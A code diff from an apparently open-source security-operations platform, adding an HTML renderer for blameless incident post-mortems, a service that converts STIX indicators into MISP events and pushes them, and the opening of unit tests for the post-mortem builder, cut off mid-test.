8px;">{_fmt_datetime(detection.first_analyst_touch_at)}</td></tr>'+ f'<tr><td style="padding:6px 8px;color:#64748b;">Triaged</td>'+ f'<td style="padding:6px 8px;">{_fmt_datetime(detection.triaged_at)}</td></tr>'+ f'<tr><td style="padding:6px 8px;color:#64748b;">Resolved</td>'+ f'<td style="padding:6px 8px;">{_fmt_datetime(detection.resolved_at)}</td></tr>'+ f'<tr><td style="padding:6px 8px;color:#64748b;">Closed</td>'+ f'<td style="padding:6px 8px;">{_fmt_datetime(detection.closed_at)}</td></tr>'+ "</tbody></table>"+ )++ gaps_html = ""+ if gaps:+ cards = "".join(+ '<div style="border-left:4px solid {colour};background:#f8fafc;'+ 'padding:12px 14px;border-radius:6px;margin-bottom:10px;">'+ '<div style="font-weight:600;color:#0f172a;font-size:14px;'+ f'margin-bottom:4px;">{_esc(g.title)}</div>'+ f'<div style="color:#334155;font-size:13px;line-height:1.45;">{_esc(g.body)}</div>'+ "</div>".format(colour=_SEVERITY_COLOURS.get(g.severity, "#475569"))+ for g in gaps+ )+ gaps_html = (+ '<h3 style="margin-top:18px;font-size:13px;color:#475569;text-transform:uppercase;letter-spacing:0.06em;">Detection gaps</h3>'+ + cards+ )+ else:+ gaps_html = '<p style="color:#64748b;font-size:13px;">No detection gaps surfaced from the timeline.</p>'++ return "<h2>Detection & timing</h2>" + kpi_strip + timestamps_table + gaps_html+++def _response_block(response: ResponseEffectiveness) -> str:+ overall = (+ '<div style="display:flex;flex-wrap:wrap;gap:12px;">'+ + _kpi("Total response actions", str(response.total_actions))+ + _kpi("Completed", str(response.completed))+ + _kpi(+ "Open",+ str(response.open),+ hint=f"{response.overdue} overdue" if response.overdue else None,+ )+ + _kpi("Automation engaged", "Yes" if response.automation_used else "No")+ + "</div>"+ )++ if not response.actions_by_bucket:+ return (+ "<h2>Response actions</h2>" + overall + '<p style="color:#64748b;font-size:13px;">No tracked response actions on this case.</p>'+ )++ rows = "".join(+ "<tr>"+ f'<td style="padding:6px 8px;font-weight:600;">{_esc(_BUCKET_LABELS.get(a.bucket, a.bucket))}</td>'+ f'<td style="padding:6px 8px;text-align:right;">{a.count}</td>'+ f'<td style="padding:6px 8px;text-align:right;">{a.completed}</td>'+ f'<td style="padding:6px 8px;text-align:right;">{a.open}</td>'+ f'<td style="padding:6px 8px;text-align:right;color:{("#dc2626" if a.overdue else "#0f172a")};">{a.overdue}</td>'+ f'<td style="padding:6px 8px;color:#475569;font-size:12px;">{_esc("; ".join(a.sample_titles))}</td>'+ "</tr>"+ for a in response.actions_by_bucket+ )+ table = (+ '<table style="width:100%;border-collapse:collapse;font-size:13px;margin-top:10px;">'+ '<thead><tr style="text-align:left;color:#64748b;font-size:11px;'+ 'text-transform:uppercase;letter-spacing:0.06em;">'+ '<th style="padding:6px 8px;">Bucket</th>'+ '<th style="padding:6px 8px;text-align:right;">Total</th>'+ '<th style="padding:6px 8px;text-align:right;">Done</th>'+ '<th style="padding:6px 8px;text-align:right;">Open</th>'+ '<th style="padding:6px 8px;text-align:right;">Overdue</th>'+ '<th style="padding:6px 8px;">Examples</th>'+ "</tr></thead>"+ f"<tbody>{rows}</tbody></table>"+ )+ return "<h2>Response actions</h2>" + overall + table+++def _timeline_block(events: list[TimelineEntry]) -> str:+ if not events:+ return ""+ rows = "".join(+ "<tr>"+ f'<td style="padding:6px 8px;color:#64748b;font-size:11px;'+ f'white-space:nowrap;">{_fmt_datetime(e.ts)}</td>'+ f'<td style="padding:6px 8px;font-size:11px;text-transform:uppercase;'+ f'letter-spacing:0.06em;color:{_PHASE_COLOURS.get(e.phase, "#475569")};">{_esc(e.phase)}</td>'+ f'<td style="padding:6px 8px;color:#0f172a;">{_esc(e.label)}</td>'+ f'<td style="padding:6px 8px;color:#475569;font-size:12px;">'+ f"{_esc(e.detail) if e.detail else '—'}</td>"+ "</tr>"+ for e in events+ )+ return (+ "<h2>Retrospective timeline</h2>"+ '<p style="color:#64748b;font-size:12px;margin:0 0 8px;">'+ "Author names are intentionally omitted; this artefact is meant to be shareable across teams. "+ "The full activity stream remains on the case record."+ "</p>"+ '<table style="width:100%;border-collapse:collapse;font-size:13px;">'+ '<thead><tr style="text-align:left;color:#64748b;font-size:11px;'+ 'text-transform:uppercase;letter-spacing:0.06em;">'+ '<th style="padding:6px 8px;">When</th>'+ '<th style="padding:6px 8px;">Phase</th>'+ '<th style="padding:6px 8px;">Event</th>'+ '<th style="padding:6px 8px;">Detail</th></tr></thead>'+ f"<tbody>{rows}</tbody></table>"+ )+++def _went_well_block(items: list[WentWellItem]) -> str:+ if not items:+ return (+ "<h2>What went well</h2>"+ '<p style="color:#64748b;font-size:13px;">'+ "Nothing structurally praiseworthy surfaced from the timeline. "+ "Capture qualitative wins in the case notes before archival."+ "</p>"+ )+ cards = "".join(+ '<div style="border-left:4px solid #16a34a;background:#f0fdf4;'+ 'padding:12px 14px;border-radius:6px;margin-bottom:10px;">'+ f'<div style="font-weight:600;color:#0f172a;font-size:14px;margin-bottom:4px;">{_esc(i.title)}</div>'+ f'<div style="color:#334155;font-size:13px;line-height:1.45;">{_esc(i.body)}</div>'+ "</div>"+ for i in items+ )+ return "<h2>What went well</h2>" + cards+++def _fell_short_block(items: list[FellShortItem]) -> str:+ if not items:+ return (+ '<h2>Where we fell short</h2><p style="color:#64748b;font-size:13px;">No structural shortfalls surfaced from the timeline.</p>'+ )+ cards = "".join(+ '<div style="border-left:4px solid #f59e0b;background:#fffbeb;'+ 'padding:12px 14px;border-radius:6px;margin-bottom:10px;">'+ f'<div style="font-weight:600;color:#0f172a;font-size:14px;margin-bottom:4px;">{_esc(i.title)}</div>'+ f'<div style="color:#334155;font-size:13px;line-height:1.45;">{_esc(i.body)}</div>'+ "</div>"+ for i in items+ )+ return "<h2>Where we fell short</h2>" + cards+++def _action_items_block(items: list[ActionItem]) -> str:+ if not items:+ return ""+ cards = "".join(+ '<div style="border-left:4px solid {colour};background:#f8fafc;'+ 'padding:12px 14px;border-radius:6px;margin-bottom:10px;">'+ '<div style="display:flex;align-items:center;gap:8px;margin-bottom:4px;">'+ f'<span style="display:inline-block;padding:2px 8px;border-radius:9999px;'+ f"background:#e2e8f0;color:#0f172a;font-size:11px;text-transform:uppercase;"+ f'letter-spacing:0.04em;">{_esc(i.category)}</span>'+ f"{_severity_chip(i.severity)}"+ + (f'<span style="color:#64748b;font-size:11px;">owner: {_esc(i.owner_role)}</span>' if i.owner_role else "")+ + "</div>"+ f'<div style="font-weight:600;color:#0f172a;font-size:14px;margin-bottom:4px;">{_esc(i.title)}</div>'+ f'<div style="color:#334155;font-size:13px;line-height:1.45;">{_esc(i.body)}</div>'+ "</div>".format(colour=_SEVERITY_COLOURS.get(i.severity, "#475569"))+ for i in items+ )+ return "<h2>Action items</h2>" + cards+++def render_case_postmortem_html(postmortem: CasePostmortem) -> str:+ """Render a ``CasePostmortem`` to a self-contained HTML document.++ Pure function: same input → same output. Inline styles only so the+ document is portable when downloaded; print stylesheet ensures a clean+ Save-as-PDF artefact for the runbook archive.+ """+ return f"""<!DOCTYPE html>+<html lang="en">+<head>+<meta charset="utf-8">+<title>AiSOC Post-mortem — {_esc(postmortem.case.case_number or postmortem.case.title)}</title>+<style>+ @page {{ margin: 18mm; }}+ body {{+ font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif;+ color: #0f172a;+ background: #ffffff;+ margin: 0;+ padding: 24px 32px;+ line-height: 1.45;+ }}+ h1, h2, h3 {{ color: #0f172a; margin-top: 0; }}+ h1 {{ font-size: 22px; margin-bottom: 4px; }}+ h2 {{ font-size: 15px; text-transform: uppercase; letter-spacing: 0.08em;+ color: #475569; margin: 22px 0 10px; border-top: 1px solid #e2e8f0; padding-top: 14px; }}+ table th, table td {{ border-bottom: 1px solid #f1f5f9; }}+ @media print {{+ body {{ padding: 0; }}+ h2 {{ page-break-after: avoid; }}+ }}+</style>+</head>+<body>+ {_header_block(postmortem.case, postmortem.headline, postmortem.generated_at)}++ {_overview_block(postmortem.overview)}++ {_detection_block(postmortem.detection, postmortem.detection_gaps)}++ {_response_block(postmortem.response)}++ {_timeline_block(postmortem.timeline)}++ {_went_well_block(postmortem.went_well)}++ {_fell_short_block(postmortem.fell_short)}++ {_action_items_block(postmortem.action_items)}++ <footer style="margin-top:32px;color:#94a3b8;font-size:11px;text-align:center;">+ AiSOC — open-source AI Security Operations Center.+ Blameless retrospective · system-focused · print this page (Ctrl/Cmd-P → Save as PDF) for the runbook archive.+ </footer>+</body>+</html>"""+++__all__ = ["render_case_postmortem_html"]diff --git a/services/api/app/services/misp_push.py b/services/api/app/services/misp_push.pynew file mode 100644index 000000000..6639682f4--- /dev/null+++ b/services/api/app/services/misp_push.py@@ -0,0 +1,434 @@+"""+MISP push service.++Stage 3 #20 (AiSOC v1.0 buyer-value plan).++This module mirrors STIX 2.1 indicators and bundles created via+``/threatintel/stix/...`` into a downstream MISP instance. It is split+into two layers so the mappers can be unit-tested without touching the+network:++* **Pure mappers** (``parse_stix_pattern``, ``stix_indicator_to_misp_attribute``,+ ``stix_bundle_to_misp_event``, ``confidence_to_threat_level``) — no I/O.+* **``MispPushClient``** — thin async wrapper around the MISP REST API+ that calls ``enforce_airgap_for_url`` before every outbound request,+ matching the convention used in+ ``services/api/app/api/v1/endpoints/translation.py``.++The client deliberately does NOT live inside ``services/threatintel`` —+that microservice's ``MispClient`` is read-only (pulls events). The+push path runs from the API service so it shares the same air-gap+chokepoint, the same credential vault loader pattern, and the same+HTTP timeout budget.+"""++from __future__ import annotations++import logging+import re+from dataclasses import dataclass+from typing import Any++import httpx++from app.core.airgap import enforce_airgap_for_url+from app.core.config import settings++logger = logging.getLogger("aisoc.misp_push")++# ── STIX → MISP type mapping ────────────────────────────────────────────────++# Maps the STIX 2.1 observable type prefix used in indicator patterns to the+# MISP attribute ``type`` + ``category``. Order matters for hash variants —+# we check the longest pattern first.+_STIX_TO_MISP: tuple[tuple[re.Pattern[str], str, str], ...] = (+ # File hashes — STIX uses ``[file:hashes.'SHA-256' = '...']`` etc.+ (+ re.compile(r"\[file:hashes\.['\"]?MD5['\"]?\s*=\s*['\"]([^'\"]+)['\"]\]", re.IGNORECASE),+ "md5",+ "Payload delivery",+ ),+ (+ re.compile(r"\[file:hashes\.['\"]?SHA-?1['\"]?\s*=\s*['\"]([^'\"]+)['\"]\]", re.IGNORECASE),+ "sha1",+ "Payload delivery",+ ),+ (+ re.compile(r"\[file:hashes\.['\"]?SHA-?256['\"]?\s*=\s*['\"]([^'\"]+)['\"]\]", re.IGNORECASE),+ "sha256",+ "Payload delivery",+ ),+ (+ re.compile(r"\[file:hashes\.['\"]?SHA-?512['\"]?\s*=\s*['\"]([^'\"]+)['\"]\]", re.IGNORECASE),+ "sha512",+ "Payload delivery",+ ),+ # Network indicators+ (+ re.compile(r"\[ipv4-addr:value\s*=\s*['\"]([^'\"]+)['\"]\]", re.IGNORECASE),+ "ip-dst",+ "Network activity",+ ),+ (+ re.compile(r"\[ipv6-addr:value\s*=\s*['\"]([^'\"]+)['\"]\]", re.IGNORECASE),+ "ip-dst",+ "Network activity",+ ),+ (+ re.compile(r"\[domain-name:value\s*=\s*['\"]([^'\"]+)['\"]\]", re.IGNORECASE),+ "domain",+ "Network activity",+ ),+ (+ re.compile(r"\[url:value\s*=\s*['\"]([^'\"]+)['\"]\]", re.IGNORECASE),+ "url",+ "Network activity",+ ),+ (+ re.compile(r"\[email-addr:value\s*=\s*['\"]([^'\"]+)['\"]\]", re.IGNORECASE),+ "email-src",+ "Payload delivery",+ ),+ # File name+ (+ re.compile(r"\[file:name\s*=\s*['\"]([^'\"]+)['\"]\]", re.IGNORECASE),+ "filename",+ "Payload delivery",+ ),+)+++@dataclass(frozen=True)+class ParsedPattern:+ """A STIX pattern parsed into a MISP-compatible attribute."""++ misp_type: str+ misp_category: str+ value: str+++def parse_stix_pattern(pattern: str) -> ParsedPattern | None:+ """Parse a STIX 2.1 pattern into a MISP attribute.++ Returns ``None`` for patterns we don't yet know how to translate;+ callers should treat that as "skip but don't fail" so a bundle+ containing one unknown observable still gets pushed for the+ observables we do understand.+ """+ if not pattern:+ return None+ for regex, misp_type, misp_category in _STIX_TO_MISP:+ match = regex.search(pattern)+ if match:+ return ParsedPattern(misp_type=misp_type, misp_category=misp_category, value=match.group(1))+ return None+++def confidence_to_threat_level(confidence: int | None) -> int:+ """Map STIX confidence (0-100) to a MISP ``threat_level_id`` (1-4).++ MISP scale: 1=high, 2=medium, 3=low, 4=undefined.+ """+ if confidence is None:+ return settings.MISP_PUSH_DEFAULT_THREAT_LEVEL+ if confidence >= 80:+ return 1 # high+ if confidence >= 50:+ return 2 # medium+ if confidence >= 20:+ return 3 # low+ return 4 # undefined+++def stix_indicator_to_misp_attribute(+ indicator: dict[str, Any],+ *,+ distribution: int | None = None,+) -> dict[str, Any] | None:+ """Convert a STIX 2.1 indicator dict to a single MISP attribute dict.++ Returns ``None`` when the pattern isn't translatable. The caller+ can choose to surface that as a 422 (single push) or skip-and-log+ (bundle push).+ """+ parsed = parse_stix_pattern(indicator.get("pattern", ""))+ if parsed is None:+ return None+ distribution_level = distribution if distribution is not None else settings.MISP_PUSH_DEFAULT_DISTRIBUTION+ attribute: dict[str, Any] = {+ "type": parsed.misp_type,+ "category": parsed.misp_category,+ "value": parsed.value,+ "to_ids": True,+ "distribution": distribution_level,+ "comment": indicator.get("description") or indicator.get("name") or "",+ }+ # MISP supports tagging on attributes — surface STIX labels so an+ # operator filtering MISP for ``aisoc:apt-42`` finds it.+ labels = indicator.get("labels") or []+ if labels:+ attribute["Tag"] = [{"name": f"aisoc:{label}"} for label in labels]+ return attribute+++def stix_bundle_to_misp_event(+ bundle: dict[str, Any],+ *,+ info: str | None = None,+ distribution: int | None = None,+ threat_level: int | None = None,+ analysis: int | None = None,+) -> dict[str, Any]:+ """Convert a STIX 2.1 bundle dict to a MISP event payload.++ The bundle's ``objects`` list is filtered to STIX indicators; each+ one is mapped via :func:`stix_indicator_to_misp_attribute`. Unknown+ patterns are silently skipped (and counted in the returned+ ``_skipped`` field for the dry-run endpoint to surface).+ """+ distribution_level = distribution if distribution is not None else settings.MISP_PUSH_DEFAULT_DISTRIBUTION+ threat_level_id = threat_level if threat_level is not None else settings.MISP_PUSH_DEFAULT_THREAT_LEVEL+ analysis_id = analysis if analysis is not None else settings.MISP_PUSH_DEFAULT_ANALYSIS++ attributes: list[dict[str, Any]] = []+ skipped = 0+ indicator_names: list[str] = []+ for obj in bundle.get("objects", []) or []:+ if not isinstance(obj, dict) or obj.get("type") != "indicator":+ continue+ attr = stix_indicator_to_misp_attribute(obj, distribution=distribution_level)+ if attr is None:+ skipped += 1+ continue+ attributes.append(attr)+ if obj.get("name"):+ indicator_names.append(str(obj["name"]))++ event_info = (+ info or ("AiSOC bundle " + bundle.get("id", "") + (" — " + "; ".join(indicator_names[:3]) if indicator_names else "")).strip()+ )++ return {+ "Event": {+ "info": event_info,+ "distribution": distribution_level,+ "threat_level_id": threat_level_id,+ "analysis": analysis_id,+ "Attribute": attributes,+ "Tag": [{"name": "aisoc:source=stix"}, {"name": f"aisoc:bundle={bundle.get('id', '')}"}],+ },+ # Non-MISP bookkeeping fields, stripped before POST. Used by the+ # dry-run endpoint to surface visibility.+ "_skipped": skipped,+ "_attribute_count": len(attributes),+ }+++def stix_indicator_to_misp_event(+ indicator: dict[str, Any],+ *,+ distribution: int | None = None,+ threat_level: int | None = None,+ analysis: int | None = None,+) -> dict[str, Any] | None:+ """Wrap a single STIX indicator as a one-attribute MISP event."""+ distribution_level = distribution if distribution is not None else settings.MISP_PUSH_DEFAULT_DISTRIBUTION+ threat_level_id = threat_level if threat_level is not None else confidence_to_threat_level(indicator.get("confidence"))+ analysis_id = analysis if analysis is not None else settings.MISP_PUSH_DEFAULT_ANALYSIS++ attr = stix_indicator_to_misp_attribute(indicator, distribution=distribution_level)+ if attr is None:+ return None+ return {+ "Event": {+ "info": indicator.get("name") or f"AiSOC indicator {indicator.get('id', '')}",+ "distribution": distribution_level,+ "threat_level_id": threat_level_id,+ "analysis": analysis_id,+ "Attribute": [attr],+ "Tag": [+ {"name": "aisoc:source=stix"},+ {"name": f"aisoc:indicator={indicator.get('id', '')}"},+ ],+ }+ }+++# ── Async push client ───────────────────────────────────────────────────────+++class MispPushError(RuntimeError):+ """Raised when the MISP push fails for any reason except air-gap."""+++class MispNotConfigured(RuntimeError):+ """Raised when MISP_URL or MISP_API_KEY are not set."""+++def _strip_internal_fields(event: dict[str, Any]) -> dict[str, Any]:+ """Remove ``_skipped`` / ``_attribute_count`` bookkeeping before POST."""+ return {k: v for k, v in event.items() if not k.startswith("_")}+++class MispPushClient:+ """Async client for pushing STIX → MISP events.++ Always honors :func:`enforce_airgap_for_url` so an air-gapped+ deployment refuses to leak indicators to a public MISP instance.+ """++ def __init__(+ self,+ url: str | None = None,+ api_key: str | None = None,+ verify_ssl: bool | None = None,+ timeout: float | None = None,+ ) -> None:+ self._url = (url or settings.MISP_URL or "").rstrip("/")+ self._api_key = api_key or settings.MISP_API_KEY+ self._verify_ssl = settings.MISP_VERIFY_SSL if verify_ssl is None else verify_ssl+ self._timeout = settings.MISP_PUSH_TIMEOUT_SECONDS if timeout is None else timeout++ @property+ def configured(self) -> bool:+ return bool(self._url and self._api_key)++ def _require_config(self) -> None:+ if not self.configured:+ raise MispNotConfigured("MISP push is not configured. Set MISP_URL and MISP_API_KEY.")++ def _headers(self) -> dict[str, str]:+ return {+ "Authorization": self._api_key,+ "Accept": "application/json",+ "Content-Type": "application/json",+ }++ async def health_check(self) -> dict[str, Any]:+ """Hit ``/users/view/me`` to verify reachability + auth."""+ self._require_config()+ target = f"{self._url}/users/view/me"+ enforce_airgap_for_url(target)+ async with httpx.AsyncClient(verify=self._verify_ssl, timeout=self._timeout, headers=self._headers()) as client:+ try:+ resp = await client.get(target)+ except httpx.RequestError as exc:+ raise MispPushError(f"MISP unreachable: {exc}") from exc+ if resp.status_code == 401:+ raise MispPushError("MISP auth failed (401). Check MISP_API_KEY.")+ if resp.status_code >= 400:+ raise MispPushError(f"MISP health check returned {resp.status_code}")+ try:+ body = resp.json()+ except Exception:+ body = {}+ return {+ "ok": True,+ "url": self._url,+ "user": (body.get("User") or {}).get("email", ""),+ "role": (body.get("Role") or {}).get("name", ""),+ }++ async def push_event(self, event: dict[str, Any]) -> dict[str, Any]:+ """POST a MISP event payload to ``/events/add`` and return the response."""+ self._require_config()+ target = f"{self._url}/events/add"+ enforce_airgap_for_url(target)+ clean_event = _strip_internal_fields(event)+ async with httpx.AsyncClient(verify=self._verify_ssl, timeout=self._timeout, headers=self._headers()) as client:+ try:+ resp = await client.post(target, json=clean_event)+ except httpx.RequestError as exc:+ raise MispPushError(f"MISP push failed: {exc}") from exc+ if resp.status_code == 401:+ raise MispPushError("MISP auth failed (401). Check MISP_API_KEY.")+ if resp.status_code >= 400:+ raise MispPushError(f"MISP push returned {resp.status_code}: {resp.text[:300]}")+ try:+ body = resp.json()+ except Exception as exc:+ raise MispPushError(f"MISP returned non-JSON: {exc}") from exc+ event_id = (body.get("Event") or {}).get("id") or body.get("id") or ""+ uuid_ = (body.get("Event") or {}).get("uuid") or body.get("uuid") or ""+ return {+ "ok": True,+ "misp_event_id": event_id,+ "misp_event_uuid": uuid_,+ "url": f"{self._url}/events/view/{event_id}" if event_id else self._url,+ "raw": body,+ }++ async def push_indicator(+ self,+ indicator: dict[str, Any],+ *,+ distribution: int | None = None,+ threat_level: int | None = None,+ analysis: int | None = None,+ ) -> dict[str, Any]:+ event = stix_indicator_to_misp_event(+ indicator,+ distribution=distribution,+ threat_level=threat_level,+ analysis=analysis,+ )+ if event is None:+ raise MispPushError(f"Indicator pattern {indicator.get('pattern', '')!r} cannot be mapped to a MISP attribute.")+ return await self.push_event(event)++ async def push_bundle(+ self,+ bundle: dict[str, Any],+ *,+ info: str | None = None,+ distribution: int | None = None,+ threat_level: int | None = None,+ analysis: int | None = None,+ ) -> dict[str, Any]:+ event = stix_bundle_to_misp_event(+ bundle,+ info=info,+ distribution=distribution,+ threat_level=threat_level,+ analysis=analysis,+ )+ skipped = event.pop("_skipped", 0)+ attribute_count = event.pop("_attribute_count", 0)+ if attribute_count == 0:+ logger.warning(+ "misp_push.bundle_empty bundle_id=%s skipped=%d",+ bundle.get("id", ""),+ skipped,+ )+ raise MispPushError(f"Bundle {bundle.get('id', '')!r} contained no MISP-translatable indicators.")+ if skipped:+ logger.info(+ "misp_push.bundle_partial bundle_id=%s pushed=%d skipped=%d",+ bundle.get("id", ""),+ attribute_count,+ skipped,+ )+ result = await self.push_event(event)+ result["pushed_attributes"] = attribute_count+ result["skipped_attributes"] = skipped+ return result+++def get_push_client() -> MispPushClient:+ """Factory — kept tiny so endpoints can patch it in tests."""+ return MispPushClient()+++__all__ = [+ "MispNotConfigured",+ "MispPushClient",+ "MispPushError",+ "ParsedPattern",+ "confidence_to_threat_level",+ "get_push_client",+ "parse_stix_pattern",+ "stix_bundle_to_misp_event",+ "stix_indicator_to_misp_attribute",+ "stix_indicator_to_misp_event",+]diff --git a/services/api/tests/test_case_postmortem.py b/services/api/tests/test_case_postmortem.pynew file mode 100644index 000000000..02219f976--- /dev/null+++ b/services/api/tests/test_case_postmortem.py@@ -0,0 +1,572 @@+"""Tests for Stage 3 #21 — auto post-mortem builder + HTML renderer.++Mirrors ``test_case_summary.py`` so the two retrospectives stay siblings:+the pure builder is exercised against deterministic fixtures, then the HTML+renderer is verified end-to-end for structure + safe escaping.++The post-mortem is *blameless* — analyst names should never appear in the+rendered timeline or recommendation copy. Several tests guard that+property explicitly.+"""++from __future__ import annotations++import uuid+from datetime import UTC, datetime, timedelta++import pytest+from app.services.case_postmortem import (+ CasePostmortem,+ PostmortemInputs,+ SummaryCaseRow,+ SummaryCommentRow,+ SummaryTaskRow,+ _internal_helpers,+ build_postmortem_from_rows,+)+from app.services.case_postmortem_html import render_case_postmortem_html++OPENED = datetime(2026, 5, 2, 10, 0, tzinfo=UTC)+NOW = datetime(2026, 5, 9, 12, 0, tzinfo=UTC)+CASE_ID = uuid.uuid4()+++def _case(+ *,+ severity: str = "high",+ status: str = "resolved",+ opened_at: datetime | None = None,+ triaged_at: datetime | None = None,+ resolved_at: datetime | None = None,+ closed_at: datetime | None = None,+ sla_due_at: datetime | None = None,+ title: str = "Suspected ransomware",+ description: str | None = "Initial ransomware indicators on FIN-LAPTOP-04",+ assignee: str | None = "[email protected]",+ created_by: str | None = "alert-fusion",+ mitre_techniques: list[str] | None = None,+ alert_ids: list[str] | None = None,+ observable_graph: dict[str, object] | None = None,+ evidence_chain: list[object] | None = None,+ compliance_frameworks: list[str] | None = None,+ tags: dict[str, object] | None = None,+ case_number: str | None = "CASE-2026-0042",+) -> SummaryCaseRow:+ open_ts = opened_at or OPENED+ return SummaryCaseRow(+ id=CASE_ID,+ case_number=case_number,+ title=title,+ description=description,+ severity=severity,+ status=status,+ assignee=assignee,+ created_by=created_by,+ tags=tags or {},+ mitre_techniques=list(mitre_techniques or []),+ alert_ids=list(alert_ids or []),+ observable_graph=observable_graph or {},+ evidence_chain=list(evidence_chain or []),+ compliance_frameworks=list(compliance_frameworks or []),+ opened_at=open_ts,+ triaged_at=triaged_at,+ resolved_at=resolved_at,+ closed_at=closed_at,+ sla_due_at=sla_due_at,+ created_at=open_ts,+ updated_at=closed_at or resolved_at or triaged_at or open_ts,+ )+++# ---------------------------------------------------------------------------+# Pure helpers+# ---------------------------------------------------------------------------+++def test_hours_between_handles_missing_endpoints() -> None:+ fn = _internal_helpers["_hours_between"]+ assert fn(None, OPENED) is None+ assert fn(OPENED, None) is None+ assert fn(OPENED + timedelta(hours=2, minutes=30), OPENED) == 2.5+++def test_bucket_response_action_classifies_keywords() -> None:+ fn = _internal_helpers["_bucket_response_action"]+ assert fn("Isolate the host immediately") == "containment"+ assert fn("Reset password for compromised user") == "eradication"+ assert fn("Restore the database from backup") == "recovery"+ assert fn("Notify the customer success team") == "communication"+ assert fn("Investigate the lateral movement path") == "investigation"+ # Empty / unknown → "other".+ assert fn("") == "other"+ assert fn("Send carrier pigeon") == "other"+++def test_first_analyst_touch_skips_system_comments() -> None:+ fn = _internal_helpers["_first_analyst_touch"]+ rows = [+ SummaryCommentRow(+ author=None,+ body="auto-triage",+ is_system=True,+ created_at=OPENED + timedelta(minutes=1),+ ),+ SummaryCommentRow(+ author="alice",+ body="Looking",+ is_system=False,+ created_at=OPENED + timedelta(minutes=15),+ ),+ SummaryCommentRow(+ author="bob",+ body="Joining",+ is_system=False,+ created_at=OPENED + timedelta(minutes=30),+ ),+ ]+ assert fn(rows) == OPENED + timedelta(minutes=15)+ # No analyst comments at all → None.+ assert fn([rows[0]]) is None+ assert fn([]) is None+++def test_summarise_response_buckets_and_overdue() -> None:+ fn = _internal_helpers["_summarise_response"]+ tasks = [+ SummaryTaskRow(+ title="Isolate FIN-LAPTOP-04",+ status="done",+ assignee="alice",+ due_at=OPENED + timedelta(hours=1),+ created_at=OPENED,+ updated_at=OPENED + timedelta(hours=1),+ ),+ SummaryTaskRow(+ title="Reset password for finance user",+ status="todo",+ assignee=None,+ due_at=NOW - timedelta(hours=1), # overdue+ created_at=OPENED,+ updated_at=OPENED,+ ),+ SummaryTaskRow(+ title="Run containment playbook PB-014",+ status="done",+ assignee="alice",+ due_at=OPENED + timedelta(hours=2),+ created_at=OPENED,+ updated_at=OPENED + timedelta(hours=2),+ ),+ ]+ summary = fn(tasks, now=NOW)+ assert summary.total_actions == 3+ assert summary.completed == 2+ assert summary.open == 1+ assert summary.overdue == 1+ assert summary.automation_used is True # "playbook" hit++ bucket_names = {a.bucket for a in summary.actions_by_bucket}+ assert "containment" in bucket_names+ assert "eradication" in bucket_names+++def test_build_detection_flags_sla_breach_when_resolved_late() -> None:+ fn = _internal_helpers["_build_detection"]+ case = _case(+ sla_due_at=OPENED + timedelta(hours=2),+ resolved_at=OPENED + timedelta(hours=5),+ triaged_at=OPENED + timedelta(hours=1),+ )+ detection = fn(case, [], now=NOW)+ assert detection.sla_breached is True+ assert detection.time_to_triage_hours == 1.0+ assert detection.time_to_resolve_hours == 5.0+++def test_build_detection_gaps_warns_on_slow_first_touch() -> None:+ fn = _internal_helpers["_build_detection_gaps"]+ case = _case(mitre_techniques=["T1059"])+ from app.services.case_postmortem import DetectionTiming++ detection = DetectionTiming(+ opened_at=OPENED,+ first_analyst_touch_at=OPENED + timedelta(hours=6),+ time_to_detect_hours=6.0,+ time_to_triage_hours=2.0,+ sla_breached=False,+ )+ gaps = fn(detection, case)+ assert any("First analyst touch" in g.title for g in gaps)+ # No SLA breach, so no critical-tier SLA gap.+ assert not any(g.severity == "critical" for g in gaps)+++def test_build_timeline_strips_authors_and_keeps_lifecycle() -> None:+ fn = _internal_helpers["_build_timeline"]+ case = _case(+ triaged_at=OPENED + timedelta(hours=1),+ resolved_at=OPENED + timedelta(hours=4),+ closed_at=OPENED + timedelta(hours=5),+ )+ comments = [+ SummaryCommentRow(+ author="alice",+ body="Manually isolating the host",+ is_system=False,+ created_at=OPENED + timedelta(minutes=10),+ ),+ SummaryCommentRow(+ author=None,+ body="Auto-triage routed via PB-014",+ is_system=True,+ created_at=OPENED + timedelta(minutes=5),+ ),+ ]+ tasks = [+ SummaryTaskRow(+ title="Isolate host",+ status="done",+ assignee="alice",+ due_at=OPENED + timedelta(hours=1),+ created_at=OPENED + timedelta(minutes=15),+ updated_at=OPENED + timedelta(hours=1),+ ),+ ]+ timeline = fn(case, comments, tasks, limit=30)++ assert timeline, "timeline should not be empty"+ timestamps = [e.ts for e in timeline]+ assert timestamps == sorted(timestamps)++ # Lifecycle anchors must all survive.+ labels = {e.label for e in timeline}+ assert "Case opened" in labels+ assert "Triaged" in labels+ assert "Resolved" in labels+ assert "Closed" in labels++ # Blameless: no author names anywhere in the rendered fields.+ blob = " ".join(e.label + " " + (e.detail or "") for e in timeline)+ assert "alice" not in blob.lower()+++def test_build_timeline_caps_to_limit_but_keeps_lifecycle() -> None:+ fn = _internal_helpers["_build_timeline"]+ case = _case(+ triaged_at=OPENED + timedelta(hours=1),+ resolved_at=OPENED + timedelta(hours=4),+ closed_at=OPENED + timedelta(hours=5),+ )+ comments = [+ SummaryCommentRow(+ author=None,+ body=f"system note {i}",+ is_system=True,+ created_at=OPENED + timedelta(minutes=i + 10),+ )+ for i in range(50)+ ]+ timeline = fn(case, comments, [], limit=10)+ assert len(timeline) == 10+ # Lifecycle phases (4 events) must all survive truncation.+ lifecycle_phases = {"detection", "triage", "resolution", "closure"}+ survived = sum(1 for e in timeline if e.phase in lifecycle_phases)+ assert survived == 4+++def test_build_went_well_rewards_fast_high_severity_resolution() -> None:+ fn = _internal_helpers["_build_went_well"]+ case = _case(severity="high")+ from app.services.case_postmortem import DetectionTiming, ResponseEffectiveness++ detection = DetectionTiming(+ opened_at=OPENED,+ first_analyst_touch_at=OPENED + timedelta(minutes=12),+ time_to_detect_hours=0.2,+ time_to_resolve_hours=2.0,+ sla_breached=False,+ sla_due_at=OPENED + timedelta(hours=4),+ )+ response = ResponseEffectiveness(+ total_actions=2,+ completed=2,+ open=0,+ overdue=0,+ automation_used=True,+ )+ items = fn(case, detection, response)+ titles = " ".join(i.title for i in items)+ assert "Fast first analyst engagement" in titles+ assert "Fast resolution" in titles+ assert "Automation engaged" in titles+ assert "All response actions closed" in titles+ assert "SLA met" in titles+++def test_build_fell_short_calls_out_high_severity_with_no_analyst_note() -> None:+ fn = _internal_helpers["_build_fell_short"]+ case = _case(severity="critical")+ from app.services.case_postmortem import DetectionTiming, ResponseEffectiveness++ detection = 